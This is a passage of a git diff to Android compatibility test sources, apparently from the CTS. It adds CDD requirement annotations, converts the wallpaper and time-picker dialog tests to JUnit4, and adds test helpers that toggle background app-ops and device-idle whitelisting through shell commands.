- @CddTest(requirement="7.5/C-1-1,7.5.1/C-1-1,7.5.2/C-1-1,7.5.3/C-1-1")
public void testCameraFeatures() throws Exception {
int numCameras = Camera.getNumberOfCameras();
if (numCameras == 0) {
@@ -231,6 +234,7 @@
}
}
+ @CddTest(requirement="3.8.7/C-1-1")
public void testLiveWallpaperFeature() {
try {
Intent intent = new Intent(WallpaperManager.ACTION_LIVE_WALLPAPER_CHOOSER);
@@ -258,6 +262,15 @@
}
}
+ public void testLowRamFeature() {
+ if (mActivityManager.isLowRamDevice()) {
+ assertAvailable(PackageManager.FEATURE_RAM_LOW);
+ } else {
+ assertAvailable(PackageManager.FEATURE_RAM_NORMAL);
+ }
+ }
+
+ @CddTest(requirement="7.4.4/C-1-1,C-2-1")
public void testNfcFeatures() {
if (NfcAdapter.getDefaultAdapter(mContext) != null) {
// Watches MAY support all FEATURE_NFC features when an NfcAdapter is available, but
@@ -275,6 +288,7 @@
}
}
+ @CddTest(requirement="7.1.3/C-0-1")
public void testScreenFeatures() {
assertTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
|| mPackageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT));
@@ -284,6 +298,7 @@
* Check that the sensor features reported by the PackageManager correspond to the sensors
* returned by {@link SensorManager#getSensorList(int)}.
*/
+ @CddTest(requirement="7.3/C-0-1,C-0-2,C-0-3")
public void testSensorFeatures() throws Exception {
Set<String> featuresLeft = getFeatureConstantsNames("FEATURE_SENSOR_");
@@ -430,6 +445,8 @@
/**
* Check that the {@link TelephonyManager#getPhoneType()} matches the reported features.
*/
+
+ @CddTest(requirement="7.4.1/C-1-1")
public void testTelephonyFeatures() {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
return;
@@ -454,6 +471,7 @@
}
}
+ @CddTest(requirement="7.2.4/C-1-2,C-3-1")
public void testTouchScreenFeatures() {
ConfigurationInfo configInfo = mActivityManager.getDeviceConfigurationInfo();
if (configInfo.reqTouchScreen != Configuration.TOUCHSCREEN_NOTOUCH) {
@@ -466,12 +484,18 @@
// TODO: Add tests for the other touchscreen features.
}
+ @CddTest(requirement="7.7.2/C-2-1")
public void testUsbAccessory() {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) &&
!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) &&
!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) &&
+ !mPackageManager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED) &&
mPackageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) &&
mPackageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)) {
+ // USB accessory mode is only a requirement for devices with USB ports supporting
+ // peripheral mode. As there is no public API to distinguish a device with only host
+ // mode support from having both peripheral and host support, the test may have
+ // false negatives.
assertAvailable(PackageManager.FEATURE_USB_ACCESSORY);
}
}
diff --git a/tests/app/src/android/app/cts/TimePickerDialogTest.java b/tests/app/src/android/app/cts/TimePickerDialogTest.java
index 3da25ab..47a666c 100644
--- a/tests/app/src/android/app/cts/TimePickerDialogTest.java
+++ b/tests/app/src/android/app/cts/TimePickerDialogTest.java
@@ -16,21 +16,31 @@
package android.app.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.AlertDialog;
import android.app.TimePickerDialog;
import android.app.TimePickerDialog.OnTimeSetListener;
-import android.app.stubs.DialogStubActivity;
+import android.app.stubs.R;
import android.content.Context;
import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.test.UiThreadTest;
+import android.test.suitebuilder.annotation.MediumTest;
import android.widget.TimePicker;
-import android.app.stubs.R;
-
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Test {@link TimePickerDialog}.
*/
-public class TimePickerDialogTest extends ActivityInstrumentationTestCase2<DialogStubActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TimePickerDialogTest {
private static final String HOUR = "hour";
private static final String MINUTE = "minute";
private static final String IS_24_HOUR = "is24hour";
@@ -44,17 +54,10 @@
private OnTimeSetListener mOnTimeSetListener;
private Context mContext;
- private DialogStubActivity mActivity;
- public TimePickerDialogTest() {
- super("android.app.stubs", DialogStubActivity.class);
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContext = getInstrumentation().getContext();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
mOnTimeSetListener = new OnTimeSetListener(){
public void onTimeSet(TimePicker view, int hourOfDay, int minute) {
mCallbackHour = hourOfDay;
@@ -64,9 +67,31 @@
}
@UiThreadTest
+ @Test
+ public void testConstructor() {
+ new TimePickerDialog(mContext, null, 1, 1, false);
+
+ new TimePickerDialog(mContext, null, 1, 1, true);
+
+ new TimePickerDialog(mContext, AlertDialog.THEME_TRADITIONAL, null, 1, 1, false);
+
+ new TimePickerDialog(mContext, AlertDialog.THEME_HOLO_DARK, null, 1, 1, false);
+
+ new TimePickerDialog(mContext,
+ android.R.style.Theme_Material_Dialog_Alert, null, 1, 1, false);
+ }
+
+ @UiThreadTest
+ @Test(expected = NullPointerException.class)
+ public void testConstructorWithNullContext() {
+ new TimePickerDialog(null, null, 0, 0, false);
+ }
+
+ @UiThreadTest
+ @Test
public void testSaveInstanceState() {
TimePickerDialog tD = new TimePickerDialog(
- mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
+ mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
Bundle b = tD.onSaveInstanceState();
@@ -87,6 +112,7 @@
}
@UiThreadTest
+ @Test
public void testOnClick() {
TimePickerDialog timePickerDialog = buildDialog();
timePickerDialog.onClick(null, TimePickerDialog.BUTTON_POSITIVE);
@@ -95,21 +121,16 @@
assertEquals(TARGET_MINUTE, mCallbackMinute);
}
+ @UiThreadTest
+ @Test
public void testOnTimeChanged() throws Throwable {
final int minute = 34;
- startDialogActivity(DialogStubActivity.TEST_TIMEPICKERDIALOG);
- final TimePickerDialog d = (TimePickerDialog) mActivity.getDialog();
-
- runTestOnUiThread(new Runnable() {
- public void run() {
- d.onTimeChanged(null, TARGET_HOUR, minute);
- }
- });
- getInstrumentation().waitForIdleSync();
-
+ final TimePickerDialog d = buildDialog();
+ d.onTimeChanged(null, TARGET_HOUR, minute);
}
@UiThreadTest
+ @Test
public void testUpdateTime() {
TimePickerDialog timePickerDialog = buildDialog();
int minute = 18;
@@ -123,6 +144,7 @@
}
@UiThreadTest
+ @Test
public void testOnRestoreInstanceState() {
int minute = 27;
Bundle b1 = new Bundle();
@@ -141,10 +163,6 @@
assertFalse(b2.getBoolean(IS_24_HOUR));
}
- private void startDialogActivity(int dialogNumber) {
- mActivity = DialogStubActivity.startDialogActivity(this, dialogNumber);
- }
-
private TimePickerDialog buildDialog() {
return new TimePickerDialog(
mContext, mOnTimeSetListener, TARGET_HOUR, TARGET_MINUTE, true);
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 40fe0f5..48d6302 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -22,6 +22,8 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
public class UiModeManagerTest extends AndroidTestCase {
private static final String TAG = "UiModeManagerTest";
@@ -34,6 +36,7 @@
assertNotNull(mUiModeManager);
}
+ @CddTest(requirement="2.5.3/A-0-2,W-0-2")
public void testUiMode() throws Exception {
if (isAutomotive()) {
Log.i(TAG, "testUiMode automotive");
diff --git a/tests/app/src/android/app/cts/WallpaperColorsTest.java b/tests/app/src/android/app/cts/WallpaperColorsTest.java
new file mode 100644
index 0000000..105cae0
--- /dev/null
+++ b/tests/app/src/android/app/cts/WallpaperColorsTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.cts;
+
+import android.app.WallpaperColors;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.drawable.ColorDrawable;
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Pair;
+import android.util.Size;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class WallpaperColorsTest {
+
+ @Test
+ public void getWallpaperColorsTest() {
+ ArrayList<Color> colorList = new ArrayList<>();
+ colorList.add(Color.valueOf(Color.WHITE));
+ colorList.add(Color.valueOf(Color.BLACK));
+ colorList.add(Color.valueOf(Color.GREEN));
+
+ WallpaperColors colors = new WallpaperColors(colorList.get(0), colorList.get(1),
+ colorList.get(2));
+ Assert.assertSame(colors.getPrimaryColor(), colorList.get(0));
+ Assert.assertSame(colors.getSecondaryColor(), colorList.get(1));
+ Assert.assertSame(colors.getTertiaryColor(), colorList.get(2));
+ }
+
+ @Test
+ public void equalsTest() {
+ WallpaperColors colors1 = new WallpaperColors(Color.valueOf(Color.BLACK), null, null);
+ WallpaperColors colors2 = new WallpaperColors(Color.valueOf(Color.WHITE), null, null);
+
+ // Different colors
+ Assert.assertNotEquals(colors1, colors2);
+
+ // Same colors
+ WallpaperColors colors3 = new WallpaperColors(Color.valueOf(Color.BLACK), null, null);
+ Assert.assertEquals(colors1, colors3);
+ }
+
+ @Test
+ public void parcelTest() {
+ WallpaperColors wallpaperColors = new WallpaperColors(Color.valueOf(Color.WHITE),
+ Color.valueOf(Color.BLACK), Color.valueOf(Color.GREEN));
+
+ Parcel parcel = Parcel.obtain();
+ wallpaperColors.writeToParcel(parcel, 0);
+ parcel.setDataPosition(0);
+ WallpaperColors newColors = new WallpaperColors(parcel);
+ Assert.assertEquals(wallpaperColors, newColors);
+ Assert.assertEquals(parcel.dataPosition(), parcel.dataSize());
+ parcel.recycle();
+ }
+
+ @Test
+ public void fromBitmapTest() {
+ Bitmap bmp = Bitmap.createBitmap(30, 30, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(bmp);
+ canvas.drawColor(Color.GREEN);
+
+ WallpaperColors colors = WallpaperColors.fromBitmap(bmp);
+ Assert.assertNotNull(colors.getPrimaryColor());
+ Assert.assertNull(colors.getSecondaryColor());
+ }
+
+ @Test
+ public void fromDrawableTest() {
+ ColorDrawable drawable = new ColorDrawable(Color.GREEN);
+ drawable.setBounds(0, 0, 30, 30);
+
+ WallpaperColors colors = WallpaperColors.fromDrawable(drawable);
+ Assert.assertNotNull(colors.getPrimaryColor());
+ Assert.assertNull(colors.getSecondaryColor());
+ }
+
+}
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 9f66e15..7b32c03 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -16,21 +16,213 @@
package android.app.cts;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.ArgumentMatchers.nullable;
+import static org.mockito.Mockito.atLeast;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.verify;
+
+import android.app.WallpaperColors;
import android.app.WallpaperManager;
+import android.content.BroadcastReceiver;
import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
import android.graphics.Point;
-import android.test.AndroidTestCase;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
import android.view.Display;
import android.view.WindowManager;
-public class WallpaperManagerTest extends AndroidTestCase {
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.MockitoAnnotations;
+
+import android.app.stubs.R;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class WallpaperManagerTest {
+
+ private static final boolean DEBUG = false;
+ private static final String TAG = "WallpaperManagerTest";
private WallpaperManager mWallpaperManager;
+ private Context mContext;
+ private Handler mHandler;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ MockitoAnnotations.initMocks(this);
+ mContext = InstrumentationRegistry.getTargetContext();
mWallpaperManager = WallpaperManager.getInstance(mContext);
+ final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
+ handlerThread.start();
+ mHandler = new Handler(handlerThread.getLooper());
+ }
+
+ @Test
+ public void setBitmapTest() {
+ Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(tmpWallpaper);
+ canvas.drawColor(Color.RED);
+
+ try {
+ int which = WallpaperManager.FLAG_SYSTEM;
+ mWallpaperManager.setBitmap(tmpWallpaper);
+ int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+ canvas.drawColor(Color.GREEN);
+ mWallpaperManager.setBitmap(tmpWallpaper);
+ int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+ Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ } finally {
+ tmpWallpaper.recycle();
+ }
+ }
+
+ @Test
+ public void setResourceTest() {
+ try {
+ int which = WallpaperManager.FLAG_SYSTEM;
+ int oldWallpaperId = mWallpaperManager.getWallpaperId(which);
+ mWallpaperManager.setResource(R.drawable.robot);
+ int newWallpaperId = mWallpaperManager.getWallpaperId(which);
+ Assert.assertNotEquals(oldWallpaperId, newWallpaperId);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @CddTest(requirement="3.2.3.4/C-0-1")
+ @Test
+ public void wallpaperChangedBroadcastTest() {
+ Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+ Canvas canvas = new Canvas(tmpWallpaper);
+ canvas.drawColor(Color.BLACK);
+
+ CountDownLatch latch = new CountDownLatch(1);
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+
+ try {
+ mWallpaperManager.setBitmap(tmpWallpaper);
+
+ // Wait for up to 5 sec since this is an async call.
+ // Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
+ if (!latch.await(5, TimeUnit.SECONDS)) {
+ throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+ } finally {
+ tmpWallpaper.recycle();
+ }
+ }
+
+ @Test
+ public void wallpaperClearBroadcastTest() {
+ CountDownLatch latch = new CountDownLatch(1);
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ }, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+
+ try {
+ mWallpaperManager.clear(WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM);
+
+ // Wait for 5 sec since this is an async call.
+ // Should fail if Intent.ACTION_WALLPAPER_CHANGED isn't delivered.
+ if (!latch.await(5, TimeUnit.SECONDS)) {
+ throw new AssertionError("Intent.ACTION_WALLPAPER_CHANGED not received.");
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new AssertionError(e);
+ }
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_systemOnly() {
+ int both = WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM;
+ // Expect both since the first step is to migrate the current wallpaper
+ // to the lock screen.
+ verifyColorListenerInvoked(WallpaperManager.FLAG_SYSTEM, both);
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_lockOnly() {
+ verifyColorListenerInvoked(WallpaperManager.FLAG_LOCK, WallpaperManager.FLAG_LOCK);
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_both() {
+ int both = WallpaperManager.FLAG_LOCK | WallpaperManager.FLAG_SYSTEM;
+ verifyColorListenerInvoked(both, both);
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_clearLock() throws IOException {
+ verifyColorListenerInvokedClearing(WallpaperManager.FLAG_LOCK);
+ }
+
+ @Test
+ public void invokeOnColorsChangedListenerTest_clearSystem() throws IOException {
+ verifyColorListenerInvokedClearing(WallpaperManager.FLAG_SYSTEM);
+ }
+
+ /**
+ * Removing a listener should not invoke it anymore
+ */
+ @Test
+ public void addRemoveOnColorsChangedListenerTest_onlyInvokeAdded() throws IOException {
+ ensureCleanState();
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> latch.countDown();
+
+ // Add and remove listener
+ WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+ mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
+ mWallpaperManager.removeOnColorsChangedListener(listener);
+
+ // Verify that the listener is not called
+ mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
+ try {
+ mWallpaperManager.setResource(R.drawable.robot);
+ if (!latch.await(5, TimeUnit.SECONDS)) {
+ throw new AssertionError("Registered listener not invoked");
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new RuntimeException(e);
+ }
+ verify(listener, never()).onColorsChanged(any(WallpaperColors.class), anyInt());
+ mWallpaperManager.removeOnColorsChangedListener(counter);
}
/**
@@ -40,7 +232,8 @@
* is greater than 0. If so, then we check whether that the size is at least the
* as big as the screen.
*/
- public void testSuggestDesiredDimensions() {
+ @Test
+ public void suggestDesiredDimensionsTest() {
final Point min = getScreenSize();
final int w = min.x * 3;
final int h = min.y * 2;
@@ -58,19 +251,177 @@
Point actualSize = new Point(mWallpaperManager.getDesiredMinimumWidth(),
mWallpaperManager.getDesiredMinimumHeight());
if (actualSize.x > 0 || actualSize.y > 0) {
- if((actualSize.x < minSize.x || actualSize.y < minSize.y)){
+ if ((actualSize.x < minSize.x || actualSize.y < minSize.y)) {
throw new AssertionError("Expected at least x: " + minSize.x + " y: "
- + minSize.y + ", got x: " + actualSize.x +
- " y: " + actualSize.y );
+ + minSize.y + ", got x: " + actualSize.x +
+ " y: " + actualSize.y);
}
}
}
private Point getScreenSize() {
- WindowManager wm = (WindowManager)mContext.getSystemService(Context.WINDOW_SERVICE);
+ WindowManager wm = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
Display d = wm.getDefaultDisplay();
Point p = new Point();
d.getRealSize(p);
return p;
}
-}
+
+ /**
+ * Helper to set a listener and verify if it was called with the same flags.
+ * Executes operation synchronously.
+ *
+ * @param which FLAG_LOCK, FLAG_SYSTEM or a combination of both.
+ */
+ private void verifyColorListenerInvoked(int which, int whichExpected) {
+ ensureCleanState();
+ int expected = 0;
+ if ((whichExpected & WallpaperManager.FLAG_LOCK) != 0) expected++;
+ if ((whichExpected & WallpaperManager.FLAG_SYSTEM) != 0) expected++;
+ ArrayList<Integer> received = new ArrayList<>();
+
+ final CountDownLatch latch = new CountDownLatch(expected);
+ Handler handler = new Handler(Looper.getMainLooper());
+
+ WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+ WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> {
+ handler.post(()-> {
+ received.add(whichWp);
+ boolean ok = false;
+ if ((whichWp & WallpaperManager.FLAG_LOCK) != 0 &&
+ (whichExpected & WallpaperManager.FLAG_LOCK) != 0) {
+ latch.countDown();
+ ok = true;
+ }
+ if ((whichWp & WallpaperManager.FLAG_SYSTEM) != 0 &&
+ (whichExpected & WallpaperManager.FLAG_SYSTEM) != 0) {
+ latch.countDown();
+ ok = true;
+ }
+ if (!ok) {
+ throw new AssertionError("Unexpected which flag: " + whichWp +
+ " should be: " + whichExpected);
+ }
+ });
+ };
+
+ mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
+ mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
+
+ try {
+ mWallpaperManager.setResource(R.drawable.robot, which);
+ if (!latch.await(5, TimeUnit.SECONDS)) {
+ throw new AssertionError("Didn't receive all color events. Expected: " +
+ whichExpected + " received: " + received);
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ mWallpaperManager.removeOnColorsChangedListener(listener);
+ mWallpaperManager.removeOnColorsChangedListener(counter);
+ }
+
+ /**
+ * Helper to clear a wallpaper synchronously.
+ *
+ * @param which FLAG_LOCK, FLAG_SYSTEM or a combination of both.
+ */
+ private void verifyColorListenerInvokedClearing(int which) {
+ ensureCleanState();
+
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ WallpaperManager.OnColorsChangedListener listener = getTestableListener();
+ WallpaperManager.OnColorsChangedListener counter = (colors, whichWp) -> {
+ latch.countDown();
+ };
+
+ mWallpaperManager.addOnColorsChangedListener(listener, mHandler);
+ mWallpaperManager.addOnColorsChangedListener(counter, mHandler);
+
+ try {
+ mWallpaperManager.clear(which);
+ latch.await(5, TimeUnit.SECONDS);
+ } catch (InterruptedException | IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ verify(listener, atLeast(1))
+ .onColorsChanged(nullable(WallpaperColors.class), anyInt());
+
+ mWallpaperManager.removeOnColorsChangedListener(listener);
+ mWallpaperManager.removeOnColorsChangedListener(counter);
+ }
+
+ /**
+ * Helper method to make sure a wallpaper is set for both FLAG_SYSTEM and FLAG_LOCK
+ * and its callbacks were already called. Necessary to cleanup previous tests states.
+ *
+ * This is necessary to avoid race conditions between tests
+ */
+ private void ensureCleanState() {
+ Bitmap bmp = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
+ // We expect 5 events to happen when we change a wallpaper:
+ // • Wallpaper changed
+ // • System colors are null
+ // • Lock colors are null
+ // • System colors are known
+ // • Lock colors are known
+ final int expectedEvents = 5;
+ CountDownLatch latch = new CountDownLatch(expectedEvents);
+ if (DEBUG) {
+ Log.d("WP", "Started latch expecting: " + latch.getCount());
+ }
+ BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ if (DEBUG) {
+ Log.d("WP", "broadcast state count down: " + latch.getCount());
+ }
+ }
+ };
+ WallpaperManager.OnColorsChangedListener callback = (colors, which) -> {
+ if ((which & WallpaperManager.FLAG_LOCK) != 0) {
+ latch.countDown();
+ }
+ if ((which & WallpaperManager.FLAG_SYSTEM) != 0) {
+ latch.countDown();
+ }
+ if (DEBUG) {
+ Log.d("WP", "color state count down: " + which + " - " + colors);
+ }
+ };
+ mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
+ mWallpaperManager.addOnColorsChangedListener(callback, mHandler);
+
+ try {
+ mWallpaperManager.setBitmap(bmp);
+
+ // Wait for up to 10 sec since this is an async call.
+ // Will pass as soon as the expected callbacks are executed.
+ latch.await(10, TimeUnit.SECONDS);
+ if (latch.getCount() != 0) {
+ Log.w(TAG, "Did not receive all events! This is probably a bug.");
+ }
+ } catch (InterruptedException | IOException e) {
+ throw new RuntimeException("Can't ensure a clean state.");
+ } finally {
+ mContext.unregisterReceiver(receiver);
+ mWallpaperManager.removeOnColorsChangedListener(callback);
+ bmp.recycle();
+ }
+ }
+
+ public WallpaperManager.OnColorsChangedListener getTestableListener() {
+ // Unfortunately mockito cannot mock anonymous classes or lambdas.
+ return spy(new TestableColorListener());
+ }
+
+ public class TestableColorListener implements WallpaperManager.OnColorsChangedListener {
+ @Override
+ public void onColorsChanged(WallpaperColors colors, int which) {
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
index 191a75a..f5bb5a3 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceConnectionHandler.java
@@ -102,6 +102,14 @@
}
}
+ public void stopMonitoringIfNeeded() {
+ synchronized (this) {
+ if (mMonitoring) {
+ stopMonitoring();
+ }
+ }
+ }
+
public void stopMonitoring() {
synchronized (this) {
if (!mMonitoring) {
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 605cbe2..9cad7a3 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -46,8 +46,10 @@
final ActivityManager mAm;
final Parcel mData;
final ServiceConnectionHandler[] mConnections;
+ final int mUid;
final UidImportanceListener mUidForegroundListener;
final UidImportanceListener mUidGoneListener;
+ final WatchUidRunner mUidWatcher;
public ServiceProcessController(Context context, Instrumentation instrumentation,
String myPackageName, Intent[] serviceIntents)
@@ -75,6 +77,7 @@
ApplicationInfo appInfo = mContext.getPackageManager().getApplicationInfo(
mServicePackage, 0);
+ mUid = appInfo.uid;
mUidForegroundListener = new UidImportanceListener(appInfo.uid);
mAm.addOnUidImportanceListener(mUidForegroundListener,
@@ -82,9 +85,48 @@
mUidGoneListener = new UidImportanceListener(appInfo.uid);
mAm.addOnUidImportanceListener(mUidGoneListener,
ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY);
+
+ mUidWatcher = new WatchUidRunner(instrumentation, appInfo.uid);
}
- public void cleanup() {
+ public void denyBackgroundOp(long timeout) throws IOException {
+ String cmd = "appops set " + mServicePackage + " RUN_IN_BACKGROUND deny";
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+
+ // This is a side-effect of the app op command.
+ mUidWatcher.expect(WatchUidRunner.CMD_IDLE, null, timeout);
+ mUidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", timeout);
+ }
+
+ public void allowBackgroundOp() throws IOException {
+ String cmd = "appops set " + mServicePackage + " RUN_IN_BACKGROUND allow";
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void makeUidIdle() throws IOException {
+ String cmd = "am make-uid-idle " + mServicePackage;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void removeFromWhitelist() throws IOException {
+ String cmd = "cmd deviceidle whitelist -" + mServicePackage;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void addToWhitelist() throws IOException {
+ String cmd = "cmd deviceidle whitelist +" + mServicePackage;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void tempWhitelist(long duration) throws IOException {
+ String cmd = "cmd deviceidle tempwhitelist -d " + duration + " " + mServicePackage;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ }
+
+ public void cleanup() throws IOException {
+ removeFromWhitelist();
+ allowBackgroundOp();
+ mUidWatcher.finish();
mAm.removeOnUidImportanceListener(mUidGoneListener);
mAm.removeOnUidImportanceListener(mUidForegroundListener);
mData.recycle();
@@ -94,6 +136,10 @@
return mConnections[index];
}
+ public int getUid() {
+ return mUid;
+ }
+
public UidImportanceListener getUidForegroundListener() {
return mUidForegroundListener;
}
@@ -102,15 +148,22 @@
return mUidGoneListener;
}
+ public WatchUidRunner getUidWatcher() {
+ return mUidWatcher;
+ }
+
public void ensureProcessGone(long timeout) {
for (int i=0; i<mConnections.length; i++) {
mConnections[i].bind(timeout);
+ }
+
+ for (int i=0; i<mConnections.length; i++) {
IBinder serviceBinder = mConnections[i].getServiceIBinder();
+ mConnections[i].unbind(timeout);
try {
serviceBinder.transact(IBinder.FIRST_CALL_TRANSACTION, mData, null, 0);
} catch (RemoteException e) {
}
- mConnections[i].unbind(timeout);
}
// Wait for uid's process to go away.
@@ -121,5 +174,6 @@
throw new IllegalStateException("Unexpected importance after killing process: "
+ importance);
}
+ mUidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, timeout);
}
}
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
new file mode 100644
index 0000000..e2abf67
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/WatchUidRunner.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
